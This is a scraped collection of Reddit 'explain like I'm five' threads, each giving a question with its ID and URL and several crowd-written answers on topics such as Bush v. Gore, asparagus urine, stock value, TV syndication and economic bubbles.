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3b9c6k | bush v. gore (2000) and the florida controversy in the 2000 election | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/3b9c6k/eli5_bush_v_gore_2000_and_the_florida_controversy/ | {
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"The 2000 election came down to whoever won Florida would become president.\n\nBut the Florida ballots in some counties were complicated and confusing. You were supposed to punch a hole corresponding to the candidate you preferred, but the names and holes didn't line up, and the machine didn't always punch the hole cleanly. There were clearly incorrect results, like a community of elderly Jews coming out strong in favor of Pat Buchanan. \n\nThe election was close enough to order a recount, but lawyers from both sides tried to manipulate it in their advantage. There was the famous hanging chad issue, where they argued over how to count votes that were incompletely punched, for example. The Gore side argued that ballots should be counted giving consideration the irregularities that occurred in each county, which the Bush camp wanted a uniform standard to be applied. The Supreme Court decided in Bush's favor, and he became president.\n\nThe decision was controversial, because:\n\n* Bush lost the popular election, which made his winning in the electoral college less legitimate\n* the election results were certified by the Florida Secretary of State in Bush's favor, which shifted the burden of proof to Gore...that Secretary of State also happened to be the co-chair of Bush's reelection campaign, and decided not to recuse herself\n* the Supreme Court decision was 5-4 along party lines...what's more, the conservative justices took a traditionally liberal interpretation, which the liberal ones took a conservative interpretation...it appeared to be a political decision, not a legal one\n\nIt should be noted that there were a number of overseas ballots, mostly from servicemen, that went uncounted. Even if Gore had prevailed in his legal cause, it is unclear whether he would have had the votes to win Florida."
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4bghbm | why do animals pee and reproduce out of the same organ? | I don't see any disadvantages, but I don't see any advantages either. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/4bghbm/eli5_why_do_animals_pee_and_reproduce_out_of_the/ | {
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"Any IO port to a device contains security vulnerabilities. If you pee and reproduce from the same port you only have to protect one area, but if you move them to different parts of the body you have more vulnerable areas.",
"Believe it or not, it actually makes sense. \n\n-Urine's not that gross. Water is absorbed in the intestines, carried in the blood, filtered out by the kidneys, and the extra goes into the bladder. So it's pretty clean.\n\n-Urine can flush out pathogens that might try to come into the reproductive tract. (Sidenote- Human and nonhuman primate females do not have a shared opening for the urethra and vagina, so this isn't as effective for them, but virtually every other female animal does.)\n\n-Urine can also clean out the urethra of males after sex in order to get rid of semen. \n\n-In some species, hormones can be carried out by the urine, allowing for males to smell whether or not the female is fertile.",
"Because it's evolutionarily more efficient to use a structure that already exists, than to make a new one.\n\nIf you look at really early [development](_URL_0_) of human embryos, we basically develop with two holes, the first one (in humans) becomes the anus and the next one becomes the mouth. Often in evolution it's easier to share one structure for two functions, rather than evolve a way to duplicate a structure. This is why in the more 'primitive' animals like frogs, they can breath and eat through the same hole (mouth) and they use their other hole (cloaca) for urination, defecation and reproduction. Of course, if you can't breath while you're eating, that's going to kill you so nostrils evolved. But with the cloaca, you can just hold in your pee/poop until you're done reproducing, or hold off from reproducing until you've gone to the bathroom.\n\nSo the real question you should ask is, why in humans do we NOT poop out of the same hole we use to reproduce (and, in female mammals, why do they not pee from the same hole they use to reproduce)? That's probably something to do with needing to keep feces and urine away from the process of forming an eggshell or, in the case of mammals, a fetus."
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1zv6rx | how an alarm clock for a deaf person works? | How does a 100% deaf person wake up for work on time every morning if they obviously couldn't hear an alarm clock? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1zv6rx/eli5_how_an_alarm_clock_for_a_deaf_person_works/ | {
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"text": [
"Either a very bright flashing strobe light, or a vibrating device."
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23ba6d | pixar and other animated movies use massive computers to render the films, which takes many days. my low-quality laptop can render 30 frames per second, often looking more realistic than these films. how is that possible? | Sorry if this has been posted before. I didn't find anything from searching. | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/23ba6d/eli5_pixar_and_other_animated_movies_use_massive/ | {
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"Most of the computer generated movies are children's movies, and so there have been stylistic decisions to make them not look realistic. But if you compare things like model and texture detail, lighting accuracy, etc. in those movies, they're actually much more complex than the 30 fps games you're playing on your computer, even if those games seem more realistic.",
"Video Games (what I assume you are talking about with the 30fps) are designed to render quickly. Every aspect of the rendering process is streamlined and optimized. They use models that have the smallest amount of polygons possible and they use lighting engines that keep calculations small. Movies don't care how long it takes to render. Their models have thousands of polygons and they have many lights using advanced reflections and volumetric lights. They also do multiple passes so they can get proper motion blur (game use really cheaty ways to get motion blur). They are optimized for looks, not render time. You may think that the quality is comparable, but its not. It's just a trick of the visual style (pixar isn't concerned on looking realistic, it has a childlike aesthetic, unlike games like battlefield that focus on gritty realism). If you look at them side by side with a good eye for detail, pixar absolutely destroys any video game in terms of graphical fidelity.",
"I'm not sure that when you say \"render\" you mean the same thing in both your examples. \n\nWhen pixar has to render it is taking a bunch of code that defines an entire world - how does the river respond and ripple when the rock is dropped into it, how do the shadows move across the screen. It's both figuring out HOW these things behave in the rendered 3d world and then making it a visual experience.\n\nWhen you watch a movie or play a video game much of what you're seeing is already \"rendered\" and it's just being played. 100% of the movie, and significant parts of many video games. "
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38y1ar | how do they mow striped patterns into the grass in baseball fields? | [For example.](_URL_0_)
Also does anyone knows why this trend exists or the history behind it? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/38y1ar/eli5_how_do_they_mow_striped_patterns_into_the/ | {
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"They use a weighted roller on the back of the tractor which bends the grass in one direction. When looking at it from a distance the blades bent from you look lighter than the blades bent towards you.",
"Funny you should ask, I recently got hired at a country club and we do this with the greens on the course!\n\nThe mowers we use have a roller on the back. It bends the grass over after you mow over it. Have you ever seen those couches/chairs that appear to change color after moving your hand over them, but change back when you move your hand in the opposite direction? Same concept. Mow in one direction, then with the next pass mow in the opposite direction. \n\nThe grass appears to be different colors but really it's just catching the light differently depending on the direction its facing."
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279jfq | when a new fruit, vegetable, flower, etc, is discovered, how can they tell if it's poisonous or not? | Without actually eating it or touching it? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/279jfq/eli5when_a_new_fruit_vegetable_flower_etc_is/ | {
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"You break it down into its organic chemical components and using chemistry we are able to tell if it contains any high concentrations of known toxins, carcinogens, tannins, alkaloids etc. The same way we find out the current concentrations of toxins in food that we already eat (e.g. when we do analysis on fish cuts and find out its high in mercury)."
]
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7wfqut | why is it when we go outside when it is bright out and go back inside, you see everything in a yellow or blue "filter?" | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/7wfqut/eli5_why_is_it_when_we_go_outside_when_it_is/ | {
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"Just like a camera, your brain has a \"white balance\" too, adjusting the colors your eyes are seeing so that it's neutral.\n\nWhen you go inside, the change in light color is drastic so your eyes have to adjust to the new colors, and that takes a couple of minutes."
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35qm4f | can someone explain how gif (attached) like this tricks my eyes into thinking it's 3d? | _URL_0_
Just saw this GIF of The Witcher 3, and I've also seen many similar, that trick my eyes to thinking it's in 3D, how does this work? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/35qm4f/eli5_can_someone_explain_how_gif_attached_like/ | {
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"Having the white bars provides depth perception. You can now tell with certainty if something is closer or further away, by whether or not it is in front of or behind the bars.",
"The white bars trick your eyes into perceiving depth where there is none. It's a fairly simple effect, since there are only two real planes: in front of the bars and behind them."
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3th7je | why does the 70's look so "dirty" in movies and tv as opposed to the 50- and 60's? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/3th7je/eli5why_does_the_70s_look_so_dirty_in_movies_and/ | {
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"I believe films were shifting towards a more realistic or gritty style. [The Hays Code](_URL_0_) was replaced with a rating system, and other reasons.",
"ELI5: film companies came out with film that could look good with less light and smaller cameras, and filmmakers who wanted to make more realistic movies liked this. They also were rebelling against the studio system and wanted to have a different look. They could put this film in smaller cameras and shoot without many lights or crew members.\n\nELI a college student:\n\nBlockbuster films of the 60s and earlier were largely shot on large-format technicolor film (there were a lot of other processes, like dye transfer, and 3-strip fell out of favor towards the late 50s but let's just stick with that for simplicity). This film was 65mm as opposed to 35mm, and used a 3-strip process (a different roll of film for each subtractive primary color was exposed at the same time). This is where you get those beautiful, bright, right and clear colors and sharpness from the early studio epics. The cameras were massive and the film stock was, as you can imagine, incredibly expensive. Conversely, companies like Arri were releasing much smaller 35mm cameras that could accommodate these run and gun shoots much more easily.\n\nKodak formulated 35mm stock prior to the 70s of course, but it was used a lot more often for feature films in the 70s, and the filmmakers were really experimenting with the stock, pushing it (developing it for a long period of time to up the film speed), and generally not using nearly as much lighting, or natural lighting whenever possible.\n\nI also remember reading that Kodak reformulated their 35mm stock (5247 vs. the old 5254 I think?) to accommodate a new processing method (ECN2 if you want to look it up) around 74-76, and a lot of people noticed (read: complained) about the different look, so that might attribute to some of it as well.\n\nBasically a whole lot of changes in methodology, chemistry, and mindset all coincided to make things different.\n\nIf you want to see how much of a difference the cameras and film stock make, look into (edit: I can't remember the specific movement, I want to say Iranian filmmakers, but it can be seen in Bollywood and Chinese films) modern filmmakers who had access to technicolor equipment and used it to make films in the 90s and onward. They really have that classic technicolor film look of the early days of cinema, it's crazy.",
"Urban decay. I've seen pictures of my city from the 70s, it really was dirty. Everything was covered in soot and exhaust and all the indoor spaces were stained with cigarette smoke. Took a while for things to get better. For a while when I was a kid there were neighbourhoods where you really could step on a used needle if you didn't watch your step. "
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e84fbx | where does the value of stocks come from? i mean if someone buys a stock and then sells it for a profit then where did that value come from? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/e84fbx/eli5_where_does_the_value_of_stocks_come_from_i/ | {
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"I hear news that a company is doing well. I want to purchase stock of the company. No one is selling at the value listed, but in really itching to get it, so i offer a bit more than the asking price to ensure someone will sell ot to me. This signals to others that someone saw the stock as being worth (as much as i paid for) giving them confidence that this stock is worth that much.\n\nWash rinse and repeat.",
"A stock is a part is a company. Owning a stock is owning part of that company. You can sell the stock at a profit if the company did well or is poised to do well since you bought the stock.\n\nThat value came from either the company creating more value or the buyer believing that the company has a potential value in future.",
"So there wasn't really any value generated in that transaction. What you're referring to is called *speculation*, which basically just means buying low and selling high. If you buy products with the intention of then re-selling them at a higher price, that's speculation. This is generally considered a bad thing if no actual service or value is being provided. But sometimes a service really is provided, for example a wholesaler might buy apples from the orchard-owners at $1/pound and then sell them to grocery stores at $2/pound. That's buying low and selling high, but the service being provided is that the wholesaler is *transporting* the goods from the orchards to the grocery stores. So it's not pure speculation, some real value is being generated here.\n\nAs for stocks, stocks are valuable because they are fractions of the ownership of a company. A company will \"issue stock\" meaning the owner of the company (let's say there's just one), will take 50% of his ownership of the company, and split that 50% into fiftieths, each worth 1% of the company, and then sell those fiftieths (stocks) to anyone who wants to buy them. For most people, the purpose of buying stocks is two-fold. One is that sometimes company issue dividends to their stockholders, which means the company shares some of the profits they've earned with the stockholders. The second reason to buy stocks is that they're a growing investment. In general, the economy is always growing, and that means overall, companies are growing. So that means the stocks become worth more. Owning 1% of a local lemonade stand isn't worth much, but owning 1% of the largest lemonade company in the world is worth a lot of money. When you buy stock in a company, you're hoping that that company will continue to grow and so your stock will become more valuable. And then later, you can sell that stock for more money than you paid for it. That's speculation, but it's one of the least immoral types of speculation."
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6k16sr | what causes "asparagus pee" and how does it happen so fast after eating it? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/6k16sr/eli5_what_causes_asparagus_pee_and_how_does_it/ | {
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"Short answer is that asparagus contains a natural chemical aptly named asparagusic acid. This acid is broken down by the body into sulfur-containing compounds. Those sulfur compounds smell. This is the same reason rotten eggs smell. And once made, the breakdown products end up in your urine. Because they are highly volatile, they make it into the air as you pee, and float on up your nose!\n\nI don't know exactly why it shows up so quickly, but my best guess is just that the smelly compounds are made from asparagusic acid very quickly, as soon as you begin digesting the asparagus. \n\nSource: _URL_0_\n\nNot an asparagus expert, nor a pee expert. Just googled your question and found a good article. ",
"When your digestive system breaks down mercaptan (a compound in asparagus), by-products are released that cause the strange smell. The process is so quick that your urine can develop the distinctive smell within 15 to 30 minutes of eating asparagus. Not everyone suffers this effect; your genetic makeup may determine whether your urine has the odor -- or whether you can actually smell it. \n\nSome people can't even smell the odor in asparagus urine! ",
"**What causes it?**\n\n*Enzymes*\n\nThere's an inheritable gene that some people have that includes a specific enzyme that can break down the acid in asparagus (C4H6O2S2). This acid, when broken down, smells.\n\nThere is nothing wrong in \"asparagus pee\", as it's not toxic. It simply is unpleasant.\n\nWhen you have the right gene passed on to you, you can either produce or smell this \"Asparagusic acid\". If not: You simply lack a gene modification. Nothing to worry about.\n\n**Why does it happen so fast**?\n\nAgain, Enzymes. They are pretty quick in breaking down the compounds found in asparagus and therefore it smells instantly.\n",
"There are something like 500 genes that contribute to the ability to smell that \"asparagus pee\" smell. Only roughly 50% of people have the necessary genes for it, meaning only about half of all people can smell it. There is some debate to this; some scientists think certain people don't produce the smell itself, however I can say from personal experience that I always smell it, while my wife never smells it, regardless of who is the pee-er.\n\nThe cause of the distinct smell is sulfur, as the byproduct of the digestion of asparagus is a bunch of sulfur-based chemicals. The chemicals are volatile, which means they have a low vapor point where they can get into the air and therefore be detected by human noses. While they are locked in the asparagus, they are not volatile and so we don't smell them. ",
"Fun Fact: There are two things at play here, the ability of the body to *produce* the pee smell (one gene) and then there is the ability to *smell* the pee smell, which is a different gene. So you could be producing the smell and not know it, you can also be able to smell it in other's pee, yet not produce it yourself. ",
"Along with the other answers in this thread, vitamin B can also cause rank piss. If you were to take a supplement of B 6, B 12, and others, your urine will gain color even if it is diluted through heavy ingestion of water and will also smell like piss. This is why many people use it to prevent a urine sample being denied during a drug screen. If your vegetable contains a high amount of vitamin B (I believe asparagus, broccoli, and other firm, green veggies do) then prepare for your piss to smell worse than R Kelly's sheets and Trump's comb-over combined.",
"I have the same question about Golden Crisp and/or Honey Smacks cereal. Urine smells like the cereal rather quickly after eating.",
"Do you know if you can smell asparagus pee, you are one of the few that have the ability. Just like some people are born with more cones and rods in there eyes that give them super color vision, you have a much stranger superpower of smelling asparagus pee that affects 1/3 of the population.",
"What about Sugar Smacks cereal? Those always make your pee smell funny as well.",
"also wanted to add, it makes EVERYONES urine smell. Some people just lack the necessary olfactory senses to smell it. Just in case someone drops that oh well it doesn't make my pee smell non sense. ",
"The real question is why does the breakfast cereal \"Smacks\" smell like pee?",
"Depending on who you ask, it's either aspagusic acid, or methenitheol. Most now believe that pretty much everyone is a smelly \"excreter\" but only 25-33% of the population has the gene that allows them to \"detect\" smelly pee. \n \nSource: Alton Brown is my hero, also Google :-)",
"More interesting to me, what causes \"Sugar Puffs pee\"?"
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23521y | pokemon cards. how are they made? | I tried researching this but came short of any answers. | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/23521y/eli5pokemon_cards_how_are_they_made/ | {
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"Are you asking how are they physically printed, or how do the legal rights to make them operate, or who decides what pictures and text go on each card?"
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2wngex | the theory john nash comes up with in a beautiful mind | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2wngex/eli5_the_theory_john_nash_comes_up_with_in_a/ | {
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"If you have someone in your life that doesn't seem to age, they're probably not real and you might be schizophrenic."
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21kqho | what is syndication on tv? | What does it mean when a show is syndicated? I know it's when they hit 100 episodes, but what does it mean for a show? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/21kqho/eli5_what_is_syndication_on_tv/ | {
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"It means a station has paid a very hefty sum for the rights to broadcast the show for a number of years. Everyone involved in producing or acting in the show gets a huge payday. ",
"[\"Syndication\" is essentially a market for programs to be sold to TV stations, to fill out their schedule](_URL_0_). For the most part, at least for broadcast TV, 'primetime' and morning news shows are the only programming produced exclusively by a network for broadcast on their own channel. Everything else is syndicated programming purchased by the local affiliate or regional association to fill timeslots.\n\nSo, shows like Jeopardy!, Xena Warrior Princess, and a lot of shows that were cancelled after the first season but continued to make episodes (e.g. Baywatch) are straight-up syndicated; they are produced independently, and channels buy the rights to broadcast the shows. There's no direct relation to the channels, so in one city it might be shown on the Fox channel, in another on CW, in another on the weird local-access channel that usually just broadcasts church services, etc.\n\nNow, when a popular first-run non-syndicated program gets enough seasons under its belt, they take the older episodes, package them up, and sell them on the same syndication market as Xena Warrior Princess. The TV stations that need to fill out their schedule now have the opportunity to buy older episodes of popular shows to broadcast as well, because it comes with a pre-built audience -- they know people like watching *Everybody Loves Raymond*, but the indie detective police procedural might need some time to find an audience. Also, the original producers of the channel have an extra money-making outlet for new episodes, especially since a station already paying for seasons 1 through 3 are definitely going to buy season 4 when it comes available for rebroadcast. This is also why a lot of actor's contracts get up for renewal about the time syndication becomes available: more seasons means more revenue, and is thus a negotiating factor. "
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9mltr4 | setting up a budget. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/9mltr4/eli5_setting_up_a_budget/ | {
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"Treating this as a literal ELI5:\n\n & #x200B;\n\nLet's say I give you ten dollars every day for doing the dishes. You could do quite a bit with ten dollars, and you like getting ten dollars a day. So you do the dishes. Every day. And I give you ten dollars. We're cool with that, right?\n\nWell, don't get me wrong, it's not that I don't want to give you money. But I'm not always around, and I don't want to have to meet you every day just to give you the ten dollars (I'm a pretty busy fella too y'know?). Since you seem pretty trustworthy, how about you do the dishes every day and I give you the money at the end of the week? So it's still the same amount of money, except now you get it all in one shot.\n\nWhat's that you say? Nobody's gonna give you anything if you don't have money on you? Well, people know you're a good kid and will return any money you say you will return, so why not just buy what you need, tell them you will pay them at the end of the month, and then do that after I give you your dishwashing money? I'm sure they'll be cool with that.\n\nWhat if you don't have enough money from dishwashing to pay them back? All right, it's time for the budgeting talk.\n\n & #x200B;\n\nOkay, so you're gonna get 70 bucks a week, which means 280 bucks for 4 weeks, or about 300 bucks a month, right? Let's make sure you'll have enough for the bus ride there and back, that's a dime each way? (I don't actually know how much that costs in the US, so let's just say). So you'll need 56 out of 280 bucks for transport. If you don't have money for the bus ride, no dishwashing and no money at the end of the month.\n\n & #x200B;\n\n224 bucks left. You gotta pay the baker, the laundromat, a bunch of other fellas. Put that money aside, you can't be spending that money or they won't let you keep a tab with them after that. What's left? Your cellphone bill, gotta pay that or you won't be able to use Instagram without a wifi connection, huh. Think of all the things you can't do without. Those have to be set aside.\n\nSo you have about 60 bucks left after all the untouchables. That's money you can spend on other things. But you want to be saving some of that for college, or for that nice bicycle you've been eyeing, or the watch? What's your plan for getting nice stuff for yourself, while still having all your necessities?\n\nThat's your budget plan!"
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ck4ozq | what is the physiological process of emotional tears? | When a person gets tears in their eyes after or during a sad or gut-wrenching event, what is the exact physiological cause of those tears? And, if those were tears of happiness or joy, would it be the same process, or is that a completely different physiological response? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/ck4ozq/eli5_what_is_the_physiological_process_of/ | {
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"Tears are all produced by the lacrimal (lachrymal) gland, but psychic tears (sad tears) also coincide with other bodily responses, due to their production being driven from the hypothalamus in the limbic part of the brain. - _URL_0_"
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9xqqks | what "compiles" dna into features? | Is there some kind of organ that "decodes" the information within the DNA and gives us features like blue eyes, blond hair etc? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/9xqqks/eli5_what_compiles_dna_into_features/ | {
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"DNA is in every cell and is the template for all the proteins your body facilitates. The mechanism for transcribing dna would be the closest to what you’re asking, but it’s on a cellular level not a separate organ as you ask. Dna unzips and is read and copied by transcription molecules, and each cell is and must be able to do this in order to function properly. "
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3kjbgg | pokemon go | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/3kjbgg/eli5_pokemon_go/ | {
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"Its advertised in trailers as some manner of augmented reality app, but the tech for that just isnt up to par yet to make it feasible, so what it will be more like is a gps tracker that points you in a direction and gives you notifications, when you reach the destination, events on the screen will be triggered and you will have an option to capture that pokemon. \n\nIt says ingame purchases will be enabled, so likely you will get X amount of pokeballs for free every so often, with the ability to purchase more or better ones. \n\n ",
"Similar to a game called Ingress. It's a combination of geocaching and team work to capture points and compete.",
"this game is fake they caught a level 36 charizard with a pokeball without battling it\n\n\ntalk about unrealistic",
"You've heard of geocaching? Well, Nintendo took that concept and made it into geocatching."
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6cea78 | why is it that sometimes we feel pain in an undamaged area of our body, while touching a damaged area of our body? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/6cea78/eli5_why_is_it_that_sometimes_we_feel_pain_in_an/ | {
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"Pain receptors are not always wired as logically as you might think. Some groups of receptors are connected to other (seemingly irrelevant) areas of the body. It has been roughly mapped out, and it is the reason why people with heart attacks feel a numb/tingling/painful sensation in their arms. \n\nTypically it should not happen, the case you describe, but it is in the realm of possibility. \"Phantom\" receptors, who fire for an undetermined reason, may be the cause of your wandering pain sensation. They are most likely triggered in a similar group as the injury, and once they feel a change in mechanical force, they shoot a signal to your brain. Whether or not the actual damaged area IS that area, is up to your brain and what circuit it is relevant towards."
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11iy67 | . the electoral college, popular vote, swing states and why my vote actually matters? | I know that the US has an electoral college and that it is the system we use to decide who the president is, and we do not have a true democracy. What I learned from my Civics class in the 7th grade is that basically we as individuals, our votes really do not matter. That is all I really know about the electoral college, so what exactly is it? What is the popular vote and what does it have to do with the presidential race? What are swing states and why are the Romney and Obama spending so much time in these states? SO why does my single vote matter in the grand scheme of the presidential race? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/11iy67/eli5_the_electoral_college_popular_vote_swing/ | {
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"[How the Electoral College Works](_URL_0_)",
"i feel like i post this like every week...\n\nThe importance of the electorial college\n\nThe EC amplifies the minority opinion. The number of electoral votes each state gets is based on the number of representatives (based on population) and the number of senators (2 for all states). This allows rural states like Wyoming, Alaska, Idaho to have some say whereas they might have been ignored for states like NY or Flordia. This has some benefits.\n\nIt promotes unity. The president must have support over the entire states rather then just regions of high populace. Without it, a candidate would just cater to just high populace areas. A president now must try and unite the country under an ideology rather than exacerbate regional differences. With such a large country, this is vital. Most large countries have strong regional ties and distrust from those not within the region (India, China). Yes, there have been some cases where the popular minority was the winner an election (Bush 2000), but proponents claim that a distribution of votes is more important than the popular vote.\n\nMoreover, it enhances minority vote. Since most (everyone except Maine and I think Kentucky?) states have an all or nothing approach to the electoral college, a small percentage of the populace can determine the swing of all the electoral votes.\n\nThe EC establishes the states choice for president. It has both a popular segment in addition to an equal number of electoral votes (as stated above). We value the equal representation as much, if not more than populace; the upper house is based on equal representation after all. This is the very bases of the 2 house system and our government. The same argument for removing the EC can be used to make a case for removing the senate.",
"Please search. This is asked nearly every day."
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av0cnq | what is a "bubble" in terms of economics? like a housing bubble. | [deleted] | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/av0cnq/eli5_what_is_a_bubble_in_terms_of_economics_like/ | {
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"I can't explain it well, but I do have a fun fact: there was a tulip bubble in the Netherlands in the 17th century. ",
"A bubble is when the prices of a thing are inflated far beyond their actual value. Typically this attracts more and more people who are not interested in owning that actual thing, they are just trying to cash in. So you just have speculators selling from one to another until the price eventually gets too high, there are no more sucker to buy them, and the bubble \"pops.\"\n\n\nOne example would be Beanie Babies, if you are old enough to remember that. They became a massive craze in the 1990s, such that people were investing in them in expectation of big profits. But once everyone realized,\"wait a minute, these are cheap plush toys.\" then the bottom fell out immediately. ",
"Over speculation. That is, people think that prices will raise in the future without doing due diligence and therefore do anything and everything to get into the market. They just want \"in\" without looking at the terms and how to get \"out\". \n\nThe Tech Bubble was because folks were throwing money at \"the internet\". Housing was because housing never drops. ",
"A bubble is when a commodity stops being valued primarily as a commodity and starts being primarily valued for its value. In other words people are willing to buy it just because they think it will be worth even more in the future without having any interest in what it actually is.\n\nThe housing bubble was a good example and one of the more impactful ones(with only the stockmarket crash being worse ifaik). First, people started buying more houses and the prices rose normally, just because more people were buying houses, than there were houses available to buy. Normal, healthy supply and demand stuff.\n\nThen people noticed that some people were able to make a sizable chunk of profit during this time by selling their houses for more than they had originally cost. This is normally good since it bring more houses unto the market at a time when there is a lot of demand. The problem is that people wanted in on that action and started buying houses just as an investment.\n\nThis meant that even MORE people wanted to buy houses and even LESS were available. This causes housing prices to rise even further, bring more investors into the market, raising prices further, etc. It became a loop. Eventually people started thinking it as a sure thing can't lose investment. This is when it started to turn toxic. People were investing money they couldn't afford to lose and in some cases didn't even have because they thought they were guaranteed a huge profit. The banks tried profiting on this too by offering interest-only loans were you never paid for the principle. People expected to buy a house, wait a bit till it became more valuable, then run away laughing to the bank. For a few people to get in and out early, this is what happens.\n\nBut commodities like houses are only good for one thing--using them. By now, investors own most of the houses that had been coming up for sale. Anyone who actually wanted to buy a house to live in it couldn't afford it anymore. This meant the only people you could sell your investment house to were other investors. Eventually, there was simply no more investors left who either wanted or could afford to buy investment houses. At the same time, you had a bunch of houses which had been built just because houses costs so much and builders could sell them for much more than it cost to make them.\n\nSo now you had suddenly tons of houses on the market and no one who would buy them. Law of supply and demand. The housing prices now dropped until someone could afford them again. Since investment people no longer want to buy them because of crashing prices, that meant only people who wanted to live in them, and now thanks to the construction boom, there were lots of choices, so houses quickly became cheap. That means that anyone who bought them and couldn't afford to actually pay for them when they were expensive were now in huge trouble and could never pay their mortgage. And that meant banks were stuck with no way of getting their money back.\n\nBig wall of text there, but that is how every bubble works. Something rises in price, investors get involved and blow up the prices further, more are made to keep up with demand and eventually investors stop buying from each other and the prices fall back to what they should have been. \n\n\nEDIT: Due to the unexpected popularity of this post, I have gone back and edited it for spelling, grammar, and clarity. Glad so many of you are finding it helpful!",
"Once your mechanic starts saying 'hey you should invest in X', then X is a bubble. it starts attracting people who have no idea about what the product is, they just heard about people making money. Lots of money starts flowing into that product, causing the price to go up. See crypto a few years ago. Then the price crashes. With houses, everyone suddenly was a flipper.",
"People are giving you some good answers, but they are largely incomplete. \n\nThis is ELI 'have a basic understanding on econ': Two *critical* elements to a 'bubble' are that 1) the overvaluation is funded by debt, and 2) (most critically) that debt is held as an asset by someone else (eg, when you buy a bond, you are holding someone else's debt as an asset). \n\nThese two elements are required, in the right ratio, to be an actual bubble. Things can go up in value a lot without these two elements, but that is just 'regular overvalued market' and not a bubble. \n\nSomebody else called beanie babies a 'bubble'. I'd disagree with this b/c I doubt there was significant debt fueling the valuation increase. I mean *maybe* you could make half an argument that people *might* have been using credit cards to speculatively buy beanie babies, but 1) I doubt there was a significant amount of that happening, and 2) nobody was seriously holding that debt as an asset. \n\nThe opposite example would be housing in 2002-2008. The rise in housing prices was absolutely fueled by debt, and that debt was held by banks/individuals as an asset (this asset-holding relationship was actually the root of the financial crisis.)\n\nA popular topic today is 'are student loans a bubble?'. I'd say pretty much no it isn't - although you can certainly argue that student debt has caused a ton of inflation in the cost of education. The reason that student loans aren't a 'bubble' is that the student debts isn't held as an asset by anyone else. The student loan market is about $1.4T but only about $200B is held as student Loan Asset Backed Debt (SLABS), and those student loans are nearly 100% private loans and are traded/hedged as unsecured debt. In somewhat plain english, b/c there isn't an asset-holding relationship, there isn't anything to 'pop'. So its not a bubble. \n\nBut again, that DOES NOT mean that college tuition is not overvalued - just that the loans are not a bubble. These are two separate, but related, concepts.",
"Another component to a bubble is how Markets inform prices.\n\nThink about five lemonade stands that all sell lemonade for three dollars a cup. \n\nIf one goes down in price, that movement in price can be for a few reasons. It might be that that particular seller has found a way to make lemonade cheaper. It might be that the lemonade stand can make more profit by lowering their price and increasing the demand for their lemonade in particular. In order to compete all five lemonade stands will have to lower their prices as well. If they can’t lower their price the same way and remain viable- then chances are these four stands aren’t able to make their lemonade as cheap as the one that can lower their price and stay in business.\nThe reverse is also true. If one raises their price it’s because their costs have gone up for them. If all five raise their price- then perhaps costs have gone up for all of them. Or perhaps there’s a higher demand for lemonade and everyone can raise their prices and remain viable businesses. In both cases we see, however, that the price shift is due to some kind of change- that the movement of price is based on some kind of information. \n\nNow let’s say you believe that you can sell this lemonade more a week from now so you buy all the lemonade from all the stands. \n\nDo they charge more or less?\nWell for them they see that they’re selling out every single day- so they’ll make more lemonade to sell to you. And maybe you’ll buy it because sure it’s ten cents more but you can probably sell it for four dollars next week. The same thing happens for 9 days until on the tenth day you and all five sellers are selling a lot of lemonade for four dollars. \n\nAnd all six of you are out there with your stands with a lot of lemonade. Everyone has a sign saying $4 a cup because the information they’ve gotten from the market tells them they can charge that much. But it’s not actually true. And no ones buying so you lower your prices.\n\nYou can go to 3.00 and break even. \nBut everyone can go that low because they make their lemonade for less. \nSo eventually if you want to get rid of the lemonade you’re not even looking at breaking even you’ll go lower than what you paid because if you don’t sell it you’ll lose more. But on this day you have between you all 11 days worth of lemonade that you want to sell today and you can’t because the demand is what it was before you started buying up everyone’s lemonade- when it only cost three dollars. You were speculating and your speculation misinformed the market. Now you just want to get rid of what you can as fast as possible because now you just see the price going lower and lower. When you go below what they paid, they have to go lower too because otherwise they will lose money they also need to keep their loss to a minimum. \n\nSo you see how the misinformation in the market can make prices go up and down. \n\nWell let’s say for example everyone who pays for that lemonade uses a credit card. Maybe instead of paying the three dollars cash they have they’ll pay four dollars on a credit card. But just because everyone has a five dollar lemonade credit card doesn’t mean everyone can afford to pay that card back. So if the lemonade credit card company doesn’t screen enough people to make sure they can you’ll see more people buying lemonade than can afford it. So when the lemonade stands move their prices even higher to say five dollars- everyone still wants lemonade and they say hey you know what I’ll put it on the card. \n\nUntil everyone starts maxing their cards out and can’t pay them back. At that point the prices start dropping because no one can buy lemonade. People who bought lemonade want to sell there’s because they can’t afford the lemonade they have prices drop down even more. \n\nSo you can see in this hypothetical and imaginative example that speculation and buying in credit have the potential to misinform the market (which can create a bubble). \n\nWell with the housing market you also have speculation and people buying on credit (mortgages). Same goes for student loans really “I can’t afford fifty thousand dollars a semester for school but I’ll just take out a loan because it’ll be worth it some day when I’m a famous artist”. “I can’t afford this house but I’ll make more money soon- maybe I can swing the loan for now”. Meanwhile maybe that persons boss can’t afford that home buyer but hey business is going to be booming soon so just for now they’ll rough it out....\n\n",
